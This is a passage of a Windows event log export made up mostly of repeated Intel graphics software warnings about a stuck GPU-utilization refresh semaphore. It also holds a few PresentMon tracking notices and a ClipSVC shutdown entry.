09:03:41.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:42.069\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:42.288\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:42.506\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:42.837\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:43.055\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:43.382\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:43.607\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:43.941\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:44.270\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:44.488\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:44.699\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:44.916\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:45.135\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:45.783\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:46.108\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:46.317\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:46.533\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:46.752\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:46.961\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:47.178\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:47.391\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:47.609\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:47.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:48.054\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:48.269\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:48.475\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:48.696\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:48.917\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:49.132\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:49.354\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:49.677\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:49.884\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:50.548\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:50.613\t102\tClipSVC service has shutdown.\tInformation\tMicrosoft-Client-Licensing-Platform/Admin\tMicrosoft-Client-Licensing-Platform\n05.09.2026 09:03:50.865\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:51.082\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:51.299\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:51.513\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:51.732\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:51.952\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:52.173\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:52.385\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:52.820\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:53.025\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:53.467\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:53.679\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:53.890\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:54.106\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:54.646\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:54.860\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:55.416\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:55.956\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:56.170\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:56.500\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:56.826\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:57.045\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:57.253\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:57.472\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:57.688\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:57.900\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:58.223\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:58.765\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:59.078\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:59.290\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:59.501\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:03:59.719\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:00.154\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:00.590\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:00.806\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:01.356\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:01.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:01.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:02.222\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:02.550\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:02.769\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:02.990\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:03.428\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:03.646\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:03.859\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:03.872\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:03.878\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:23.483\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:23.486\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:23.703\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:23.917\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:24.130\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:24.344\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:24.565\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:24.892\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:25.111\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:25.330\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:25.558\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:25.881\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:26.098\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:26.423\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:26.754\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:27.405\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:27.624\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:27.948\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:28.166\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:28.383\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:28.604\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:28.814\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:29.476\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:29.675\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:29.886\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:30.110\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:30.326\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:30.534\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:30.746\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:30.966\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:31.182\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:31.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:04:31.734\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore 